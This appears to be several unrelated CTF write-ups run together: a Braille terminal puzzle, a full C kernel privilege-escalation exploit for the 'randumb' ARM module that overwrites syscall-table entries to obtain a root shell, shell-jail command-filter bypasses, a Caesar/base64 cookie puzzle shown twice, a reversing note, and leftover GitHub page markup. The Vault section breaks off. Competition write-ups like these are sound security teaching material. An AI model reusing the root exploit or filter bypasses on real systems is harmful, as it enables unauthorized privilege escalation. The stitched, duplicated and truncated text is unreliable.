00 00 00 11 00 11 11 11 00 11 01 01 01 11 01
Given the video which features a blind hacker using a Braille "monitor", it was quite clear these 1's and 0's represented Braille characters.
After some automated deciphering:
Welcome to the brai lle terminal! I'll only give you the fl ag if you can prove that you are visuall y impaired. Please type 'continue' in b raille to begin. Ho w to write a respons e- Write each row o f braille as 0's an d 1's, then place a n 'x' at the end of the row. This means that all three rows are written on a si ngle line of input, in the form ...x...x
The individual parts of the challenge asked to:
- type `continue` - solve a simple mathematical problem and give the numerical solution - type `ACCESS FLAG!` - type `please`
The final `please` was a response to the server saying "Ah ah ah, you didn't say the magic word!", and referencing [this video](https://www.youtube.com/watch?v=RfiQYRn7fBg). |
Flag was left in github [source](https://github.com/glgaines/guess5/commit/c9a8f45b20f6f024ffc796c27b5a31c69ebe4f56#diff-ef00eee637181a88a5192c5206e315f3R2174) of challenge, in a previous commit. |
Vulnerability: negative index for array => allow arbitrary write to any addresses lower than the array.
Libc provided, PIE on => add offset of magic gadget to GOT of printf
Full exploit: https://gist.github.com/ManhNDd/1623d2a5d730358cc9ea62cfaf685351 |
# randumb (pwn, 250 + 15 pt, solved by 4 teams)In this challenge, we're given an archive with compressed filesystem, kernel image and script for running an ARM virtual machine.```shdrwxrwxr-x aleph/aleph 0 2018-04-09 17:37 ./randumb/-rwxrwxr-x aleph/aleph 272 2018-04-09 17:37 ./randumb/chall-rwxrwxr-x aleph/aleph 2310840 2018-04-09 17:35 ./randumb/zImage-rw-rw-r-- aleph/aleph 1059651 2018-04-09 17:37 ./randumb/rootfs.img.gz```After extracting the filesystem we can see `randumb.ko`, which means that we're going to pwn the kernel.
Fortunately, we don't have to reverse the binary as the chall author was nice and provided us with the source code located in `/src`.
Randumb module provides a character device `/dev/randumb` functionally similar to `/dev/urandom` with additional ioctls used for configuration. By setting appropriate config, we can enable debug output which is written to `/tmp/randumb.log`.The function `debug_msg` looks quite interesting:```cstatic int debug_msg(char *msg, ...) { // [...] old_fs = get_fs(); set_fs(KERNEL_DS);
file = filp_open(DEBUG_FILE, O_WRONLY|O_CREAT|O_APPEND, 0644);
if (IS_ERR(file)) return -EINVAL; // [....]}```Functions called by `debug_msg` (opening file, writing to file) are normally called from user mode. Thus those functions have to validate pointers passed to them. Otherwise users would be able to leak kernel memory. In order to bypass those checks, `set_fs` is used to increase the `addr_limit` in `thread_info` struct. From this moment, all pointers passed to syscalls either from user or kernel space will be valid.
After doing this, function tries to open `/tmp/randumb.log` file for writing. If opening file fails, function immediately returns. And this is where the vulnerability occurs. Function doesn't restore `old_fs` before returning. If we can trigger this, we would be able to write into arbitrary memory with `read` syscall.
OK, but how to cause an error when trying to open a file? Fortunately, if we try to open a directory file in `O_WRONLY` mode it will return an error, so the only thing we have to do is to create a directory `/tmp/randumb.log`.
To become root, we're going to use standard `commit_creds(prepare_kernel_cred(0))`. To call those functions from userspace we'll overwrite entries in syscall table.
All those things lead us to final exploit:```c#include "randumb.h"#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/stat.h>
struct settings { int charset; int debug; int debug_time; int debug_uid;};
void* get_symbol(char *symbol){ FILE *f = fopen("/proc/kallsyms", "r"); char c; char buf[0x100]; void *addr;
while (fscanf(f, "%p %c %s\n", &addr, &c, buf) > 0) { if (!strcmp(buf, symbol)) return addr; } return NULL;}
int main() { // Try to create /tmp/randumb.log directory if (mkdir(DEBUG_FILE, 0) < 0) { return -1; } int fd = open("/dev/randumb", O_RDONLY); if (fd < 0) { printf("Failed to open"); return fd; }
struct settings set = { .charset = CHARSET_NONE, .debug = DEBUG_ALL, .debug_time = DEBUG_ALL, .debug_uid = DEBUG_ALL };
// Enable debug mode int x = ioctl(fd, IOCTL_SET_SETTINGS, &set); if (x < 0) { printf("Unable to set settings"); return -1; }
void *sys_table = get_symbol("sys_call_table"); void *prepare = get_symbol("prepare_kernel_cred"); void *commit = get_symbol("commit_creds");
printf("sys_call_table %p\n", sys_table); printf("prepare_kernel_cred %p\n", prepare); printf("commit_kernel_creds %p\n", commit);
// Make sure that debug_msg is called char c; int len = read(fd, &c, 1);
// Use pipe as a way to read data from descriptor int fds[2]; pipe(fds);
int out = fds[0]; int in = fds[1];
write(in, &prepare, 4); // Overwrite syscall 100 read(out, (int*)(sys_table) + 100, 4);
write(in, &commit, 4); // Overwrite syscall 101 read(out, (int*)(sys_table) + 101, 4);
// creds = prepare_kernel_cred(0) int creds = syscall(100, 0); // commit_creds(creds); syscall(101, creds);
if (getuid() != 0) { printf("pwn failed!\n"); return -1; } printf("pwned\n");
const char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); return 0;}```
The last thing is to compile and run the exploit. Since there's no GCC on the VM itself, we have to compile it locally and send by copy-pasting into the terminal (I recommend gzip and base64 for that).```basharm-linux-gnueabi-gcc pwn.c -static -o pwn```This is not an optimal solution since the binary it generates is quite big, but it avoids writing assembly.
Overall this was a really fun challenge and we've got the first blood. ;) |
# ▼▼▼Dance(Web:150) 58/605=9.6％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```https://dance.wpictf.xyzby binam```
---
```GET / HTTP/1.1Host: dance.wpictf.xyz```
↓
```HTTP/1.1 302 FOUNDServer: nginx/1.13.12Date: Tue, 17 Apr 2018 00:17:58 GMTContent-Type: text/html; charset=utf-8Content-Length: 309Connection: keep-aliveLocation: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09sSet-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/Set-Cookie: Julius C.="got good dance moves."; Path=/Strict-Transport-Security: max-age=31536000
<title>Redirecting...</title><h1>Redirecting...</h1>You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.```
↓
Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
Set-Cookie: Julius C.="got good dance moves."; Path=/
↓
`Julius C.` is Hint. → Julius Caesar. → Caesar cipher
---
flag=`E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
↓To shift the letters
```F1LTo2TTluPdH2BfW3XeVRBpk24gn19yWHnpnNTpI3TvIFBvH2XyIEvTJG5xJHX9NAy=G1MUp2UUmvQeI2CgX3YfWSCql24ho19zXIoqoOUqJ3UwJGCwI2YzJFwUKH5yKIY9OBz=H1NVq2VVnwRfJ2DhY3ZgXTDrm24ip19aYJprpPVrK3VxKHDxJ2ZaKGxVLI5zLJZ9PCa=I1OWr2WWoxSgK2EiZ3AhYUEsn24jq19bZKqsqQWsL3WyLIEyK2AbLHyWMJ5aMKA9QDb=J1PXs2XXpyThL2FjA3BiZVFto24kr19cALrtrRXtM3XzMJFzL2BcMIzXNK5bNLB9REc=K1QYt2YYqzUiM2GkB3CjAWGup24ls19dBMsusSYuN3YaNKGaM2CdNJaYOL5cOMC9SFd=L1RZu2ZZraVjN2HlC3DkBXHvq24mt19eCNtvtTZvO3ZbOLHbN2DeOKbZPM5dPND9TGe=M1SAv2AAsbWkO2ImD3ElCYIwr24nu19fDOuwuUAwP3AcPMIcO2EfPLcAQN5eQOE9UHf=N1TBw2BBtcXlP2JnE3FmDZJxs24ov19gEPvxvVBxQ3BdQNJdP2FgQMdBRO5fRPF9VIg=O1UCx2CCudYmQ2KoF3GnEAKyt24pw19hFQwywWCyR3CeROKeQ2GhRNeCSP5gSQG9WJh=P1VDy2DDveZnR2LpG3HoFBLzu24qx19iGRxzxXDzS3DfSPLfR2HiSOfDTQ5hTRH9XKi=Q1WEz2EEwfAoS2MqH3IpGCMav24ry19jHSyayYEaT3EgTQMgS2IjTPgEUR5iUSI9YLj=R1XFa2FFxgBpT2NrI3JqHDNbw24sz19kITzbzZFbU3FhURNhT2JkUQhFVS5jVTJ9ZMk=S1YGb2GGyhCqU2OsJ3KrIEOcx24ta19lJUacaAGcV3GiVSOiU2KlVRiGWT5kWUK9ANl=T1ZHc2HHziDrV2PtK3LsJFPdy24ub19mKVbdbBHdW3HjWTPjV2LmWSjHXU5lXVL9BOm=U1AId2IIajEsW2QuL3MtKGQez24vc19nLWcecCIeX3IkXUQkW2MnXTkIYV5mYWM9CPn=V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=W1CKf2KKclGuY2SwN3OvMISgb24xe19pNYegeEKgZ3KmZWSmY2OpZVmKAX5oAYO9ERp=X1DLg2LLdmHvZ2TxO3PwNJThc24yf19qOZfhfFLhA3LnAXTnZ2PqAWnLBY5pBZP9FSq=Y1EMh2MMenIwA2UyP3QxOKUid24zg19rPAgigGMiB3MoBYUoA2QrBXoMCZ5qCAQ9GTr=Z1FNi2NNfoJxB2VzQ3RyPLVje24ah19sQBhjhHNjC3NpCZVpB2RsCYpNDA5rDBR9HUs=A1GOj2OOgpKyC2WaR3SzQMWkf24bi19tRCikiIOkD3OqDAWqC2StDZqOEB5sECS9IVt=B1HPk2PPhqLzD2XbS3TaRNXlg24cj19uSDjljJPlE3PrEBXrD2TuEArPFC5tFDT9JWu=C1IQl2QQirMaE2YcT3UbSOYmh24dk19vTEkmkKQmF3QsFCYsE2UvFBsQGD5uGEU9KXv=D1JRm2RRjsNbF2ZdU3VcTPZni24el19wUFlnlLRnG3RtGDZtF2VwGCtRHE5vHFV9LYw=```
---
flag format is `WPI{`
↓
When `WPI{` is encoded with base64, it becomes `V1BJewo=`.
---
V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
↓Decode with base64
`WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}`
You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.```
↓
Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
Set-Cookie: Julius C.="got good dance moves."; Path=/
↓
`Julius C.` is Hint. → Julius Caesar. → Caesar cipher
---
flag=`E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
↓To shift the letters
```F1LTo2TTluPdH2BfW3XeVRBpk24gn19yWHnpnNTpI3TvIFBvH2XyIEvTJG5xJHX9NAy=G1MUp2UUmvQeI2CgX3YfWSCql24ho19zXIoqoOUqJ3UwJGCwI2YzJFwUKH5yKIY9OBz=H1NVq2VVnwRfJ2DhY3ZgXTDrm24ip19aYJprpPVrK3VxKHDxJ2ZaKGxVLI5zLJZ9PCa=I1OWr2WWoxSgK2EiZ3AhYUEsn24jq19bZKqsqQWsL3WyLIEyK2AbLHyWMJ5aMKA9QDb=J1PXs2XXpyThL2FjA3BiZVFto24kr19cALrtrRXtM3XzMJFzL2BcMIzXNK5bNLB9REc=K1QYt2YYqzUiM2GkB3CjAWGup24ls19dBMsusSYuN3YaNKGaM2CdNJaYOL5cOMC9SFd=L1RZu2ZZraVjN2HlC3DkBXHvq24mt19eCNtvtTZvO3ZbOLHbN2DeOKbZPM5dPND9TGe=M1SAv2AAsbWkO2ImD3ElCYIwr24nu19fDOuwuUAwP3AcPMIcO2EfPLcAQN5eQOE9UHf=N1TBw2BBtcXlP2JnE3FmDZJxs24ov19gEPvxvVBxQ3BdQNJdP2FgQMdBRO5fRPF9VIg=O1UCx2CCudYmQ2KoF3GnEAKyt24pw19hFQwywWCyR3CeROKeQ2GhRNeCSP5gSQG9WJh=P1VDy2DDveZnR2LpG3HoFBLzu24qx19iGRxzxXDzS3DfSPLfR2HiSOfDTQ5hTRH9XKi=Q1WEz2EEwfAoS2MqH3IpGCMav24ry19jHSyayYEaT3EgTQMgS2IjTPgEUR5iUSI9YLj=R1XFa2FFxgBpT2NrI3JqHDNbw24sz19kITzbzZFbU3FhURNhT2JkUQhFVS5jVTJ9ZMk=S1YGb2GGyhCqU2OsJ3KrIEOcx24ta19lJUacaAGcV3GiVSOiU2KlVRiGWT5kWUK9ANl=T1ZHc2HHziDrV2PtK3LsJFPdy24ub19mKVbdbBHdW3HjWTPjV2LmWSjHXU5lXVL9BOm=U1AId2IIajEsW2QuL3MtKGQez24vc19nLWcecCIeX3IkXUQkW2MnXTkIYV5mYWM9CPn=V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=W1CKf2KKclGuY2SwN3OvMISgb24xe19pNYegeEKgZ3KmZWSmY2OpZVmKAX5oAYO9ERp=X1DLg2LLdmHvZ2TxO3PwNJThc24yf19qOZfhfFLhA3LnAXTnZ2PqAWnLBY5pBZP9FSq=Y1EMh2MMenIwA2UyP3QxOKUid24zg19rPAgigGMiB3MoBYUoA2QrBXoMCZ5qCAQ9GTr=Z1FNi2NNfoJxB2VzQ3RyPLVje24ah19sQBhjhHNjC3NpCZVpB2RsCYpNDA5rDBR9HUs=A1GOj2OOgpKyC2WaR3SzQMWkf24bi19tRCikiIOkD3OqDAWqC2StDZqOEB5sECS9IVt=B1HPk2PPhqLzD2XbS3TaRNXlg24cj19uSDjljJPlE3PrEBXrD2TuEArPFC5tFDT9JWu=C1IQl2QQirMaE2YcT3UbSOYmh24dk19vTEkmkKQmF3QsFCYsE2UvFBsQGD5uGEU9KXv=D1JRm2RRjsNbF2ZdU3VcTPZni24el19wUFlnlLRnG3RtGDZtF2VwGCtRHE5vHFV9LYw=```
---
flag format is `WPI{`
↓
When `WPI{` is encoded with base64, it becomes `V1BJewo=`.
---
V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
↓Decode with base64
`WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}` |
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<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/soolidsnake/Write-ups/refs" cache-key="v0:1507482602.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c29vbGlkc25ha2UvV3JpdGUtdXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
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<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/soolidsnake/Write-ups/refs" cache-key="v0:1507482602.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c29vbGlkc25ha2UvV3JpdGUtdXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Write-ups</span></span></span><span>/</span>WPICTF<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Write-ups</span></span></span><span>/</span>WPICTF<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/soolidsnake/Write-ups/tree-commit/d13037ca4c2109337ab95198da13979dca7fa454/WPICTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Shell-JAIL-1</span> </div>
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*Dragon's Horde* was the first reverse engineering challenge of SwampCTF 2018.A single binary, `adventure`, is given. It is a 32-bit x86 non-stripped ELF.
On opening the file in a disssembler, we see that there are 15 functionsnamed `foo` followed by a number, and `main()`. The latter outputs a long storyand some ASCII art, then asks for input. It then goes through the inputperforming various checks, and calling the `foo` functions in order if theinput matches.
Each `foo` function appears to be very similar. A single byte is saved to avariable, and then appended to a global C++ string `f` using the plus-equalsoperator. Simply put, each foo function concatenates a byte to the final flagstring.
Setting this byte to display as a character (or looking up the value in anASCII table) confirms our suspicions, as it is 'f'. Sure enough, the next are'l', 'a' and 'g'. Going through the rest of the functions in order gives us theremaining characters to fully build the flag, `flag{r3v_1t_up}`. |
# 2018-04-13-WPICTF #
[CTFTime link](https://ctftime.org/event/600) | [Website](https://wpictf.xyz/)
---
## Challenges ##
### pwn ###
- [ ] 100 ezpz - [x] [150 Shell-JAIL-1](#pwn--150-shell-jail-1) - [ ] 200 Forker.1 - [x] [250 Shell-JAIL-2](#pwn--250-shell-jail-2) - [ ] 300 Breakingout - [ ] 300 Forker.2 - [ ] 500 Forker.3 - [ ] 750 Forker.4
### Forensics ###
- [ ] 200 Big Guy - [ ] 400 jay-peg
### Web ###
- [x] [150 Dance](#web--150-dance) - [x] [200 Vault](#web--200-vault)
### Crypto ###
- [ ] 200 guess5
### Reversing ###
- [x] [50 Penguin](#reversing--50-penguin) - [ ] 150 kerning
### Misc ###
- [x] [1 Read](#misc--1-read) - [x] [2 Get a job](#misc--2-get-a-job) - [x] [5 Feedback](#misc--5-feedback) - [x] [10 Discord](#misc--10-discord) - [x] [50 Kittens](#misc--50-kittens) - [x] [100 Sneakers](#misc--100-sneakers) - [x] [100 Bitpuzzler](#misc--100-bitpuzzler)
### Recon ###
- [ ] 50 Window
---
## pwn / 150 Shell-JAIL-1 ##
**Files provided**
> login (SSH key, not disclosed)
**Description**
> Download the login private key, then run:> > ssh -p 31337 -i login [email protected]> > redundant servers on 31338 and 31339> > made by Ben Chaney
**Solution**
After logging in, we are put immediately into `/home/pc_owner`, on a very restricted machine:
$ whoami shjail
$ touch /tmp/file touch: /tmp/file: Read-only file system
Everything else is read-only.
$ ls -al total 28 drwxr-xr-x 1 pc_owner pc_owner 4096 Apr 13 08:03 . drwxr-xr-x 1 root root 4096 Apr 13 08:03 .. -r-sr-sr-x 1 pc_owner pc_owner 10880 Apr 13 08:03 access -r--r--r-- 1 pc_owner pc_owner 1005 Apr 13 04:50 access.c -r--r----- 1 pc_owner pc_owner 23 Apr 13 04:50 flag.txt
There is an executable, `access`, with the `setuid` bit set. `access.c` is the source code for `access`, and `flag.txt` is our target. Clearly we need to use `access` to read `flag.txt` somehow.
$ cat access.c /* ... */ int filter(const char *cmd){ int valid = 1; valid &= strstr(cmd, "*") == NULL; valid &= strstr(cmd, "sh") == NULL; valid &= strstr(cmd, "/") == NULL; valid &= strstr(cmd, "home") == NULL; valid &= strstr(cmd, "pc_owner") == NULL; valid &= strstr(cmd, "flag") == NULL; valid &= strstr(cmd, "txt") == NULL; return valid; } int main(int argc, const char **argv){ setreuid(UID, UID); char *cmd = gen_cmd(argc, argv); if (!filter(cmd)){ exit(-1); } system(cmd); }
The executable runs whatever arguments we give it as the `pc_owner` user. However, many substrings are forbidden, including `flag`, so we can't just `cat flag.txt`. `*`, the basic wildcard in shell globbing is forbidden also. Luckily, there is another wildcard: [the `?` wildcard](http://www.tldp.org/LDP/abs/html/special-chars.html#WILDCARDQU), which stands for any single character. So:
$ ./access "cat fl?g.t?t" wpi{MaNY_WayS_T0_r3Ad}
---
## pwn / 250 Shell-JAIL-2 ##
**Files provided**
> login (SSH key, not disclosed)
**Description**
> Download the login private key, then run:> > ssh -p 31337 -i login [email protected]> > redundant servers on 31338 and 31339> > made by Ben Chaney
**Solution**
Same set up as the previous challenge, with one significant difference in `main`:
int main(int argc, const char **argv){ setreuid(UID, UID); char *cmd = gen_cmd(argc, argv); if (!filter(cmd)){ exit(-1); } setenv("PATH", "", 1); system(cmd); }
The `PATH` environment variable is cleared, so `cat` will not work anymore. We will have to use one of the [shell builtins](https://www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html). Here is a simple method:
$ ./access "source fl?g.t?t" sh: flag.txt: line 1: wpi{p0s1x_sh3Lls_ar3_w13rD}: not found
This attempts to parse `flag.txt` as a shell script, which naturally fails. Luckily, the error message prints out the flag for us.
---
## Web / 150 Dance ##
**No files provided**
**Description**
> https://dance.wpictf.xyz> > by binam
**Solution**
Navigating to the URL in a browser immediately redirects us to [this helpful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s). After taking some inspiration from the video, we attempt a non-browser approach:
$ curl "https://dance.wpictf.xyz" <title>Redirecting...</title> <h1>Redirecting...</h1> You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.
Still not terribly useful. Let's enable verbose mode for `curl`:
$ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ...
Two cookies are given:
> `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
This should be our flag. It looks like base64, but it produces garbage after decoding.
> `Julius C.="got good dance moves."`
Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself:
#!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift))
> [link to script](scripts/web-150-dance-shift.py)
(Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).)
And, sure enough, with a key of 17, we get:
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
---
## Web / 200 Vault ##
**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link.
Still not terribly useful. Let's enable verbose mode for `curl`:
